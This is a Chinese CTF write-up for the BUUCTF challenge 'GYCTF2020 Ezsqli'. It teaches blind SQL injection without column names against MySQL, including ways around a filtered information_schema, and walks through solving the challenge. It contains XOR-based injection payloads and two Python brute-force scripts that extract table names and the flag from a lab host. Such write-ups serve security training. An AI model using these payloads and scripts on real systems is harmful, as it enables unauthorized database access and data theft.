BUUCTF-WEB 【GYCTF2020】Ezsqli 1

考点

sql盲注(无列名注入)

前置知识

过滤information_schema 代替表

以下表都可代替information_schema表查询表名信息,但是不能查到列名

1
2
mysql.innodb_table_statstable_schema 
table_schema 换成 database_name
1
2
3
sys.x$schema_table_statistics(只能查表名,查不到列名)

表名:table_name 数据库:table_schema
1
2
3
sys.schema_auto_increment_columns(可获取表名和库名)

表名:table_name 数据库:table_schema
1
2
3
sys.schema_table_statistics_with_buffer(可获取表名)

表名:table_name 数据库:table_schema

无列名注入(只知道表名的情况下查询数据)

子查询绕过

1
2
(select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名
((select c from (select 1,2,3 as c union select * from users)b)) 1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量

join爆破列名

1
2
?id=-1' union all select * from (select * from users as a join users as b)as c--+//as主要作用是起别名,就是把users表当做a表,常规来说as可以省略
?id=-1' union all select*from (select * from users as a join users as b using(id,username))as c--+

逐字符检索数据

这里的select 1 是对应字段的位置 比如 id username password 1 就对应id 2就对应 username 3就对应 password

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select (select 1,'c') > (select * from users limit 0,1);
+------------------------------------------------------------+| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+
mysql> select (select 1,'d') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 1 |
+------------------------------------------------------------+
//说明第二个字段的第一位是c,以此类推
1
2
3
4
5
mysql> select (select 1,'cm') > (select * from users limit 0,1);+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+

解题过程

打开页面

image-20210821192330635

页面上一个半身照,一个提交的输入框,POST提交方式,bp启动。

检测注入类型
1
2
?id=1^1^1 //回显Nu1L
?id=1^0^1 //Error Occured When Fetch Result.

检测出异或盲注

FUZZ检测关键字过滤

image-20210821193654980

length为507 是被过滤的

挑几个关键的

1
information handler join

information 已经被过滤,只有通过 sysx$schema_table_statistics 来查询表名。

构造payload

查表名payload

1
1^(ascii(substr((select group_concat(table_name)from sys.x$schema_table_statistics where table_schema=database()),1,1))>0)^1

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url='http://7a93d6a2-cc99-43d5-aaa6-aab30f35ff99.node4.buuoj.cn:81/'
flag=''

for i in range(1,50):
a = 32
b = 128
mid = (a+b)//2
while(a<b):
data = {
"id": "1^(ascii(substr((select group_concat(table_name)from sys.x$schema_table_statistics where table_schema=database()),%d,1))>%d)^1"%(i, mid)
}
import time
time.sleep(1)
re = requests.post(url=url,data=data)
if 'Nu1L' in re.text:
a = mid + 1
b = mid
mid = (a+b)//2
if (mid==32|mid==128):
break

flag +=chr(mid)
print(flag)

跑起来

image-20210821200531046

得到

1
users233333333333333,f1ag_1s_h3r3_hhhhh

information_schema关键字已经被过滤掉,想通过columns表来查询列名,几乎不可能,通过逐字符检索数据的方法来逐个猜解值,也就是无列名注入

猜解值

构造payload(两个都可以)

1
2
1^((select (select 1,'g')>(select * from f1ag_1s_h3r3_hhhhh)))^1
-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))

上大佬的脚本,遇到问题还挺多,buuctf网站限制访问频率,直接跑,不一会就会报错,每次请求延时1秒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url='http://7a93d6a2-cc99-43d5-aaa6-aab30f35ff99.node4.buuoj.cn:81/'
payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(1,50):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
print(py)
datas={'id':py}
import time
time.sleep(1)
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
flag+=chr(i-1)
print(flag)
break

跑起来

image-20210821195431497

结果

1
FLAG{AE26CBD7-C851-4928-98E4-E0635D45B90C}

py一下转小写

1
2
3
>>> s = "FLAG{AE26CBD7-C851-4928-98E4-E0635D45B90C}"
>>> print(s.lower())
flag{ae26cbd7-c851-4928-98e4-e0635d45b90c}

总结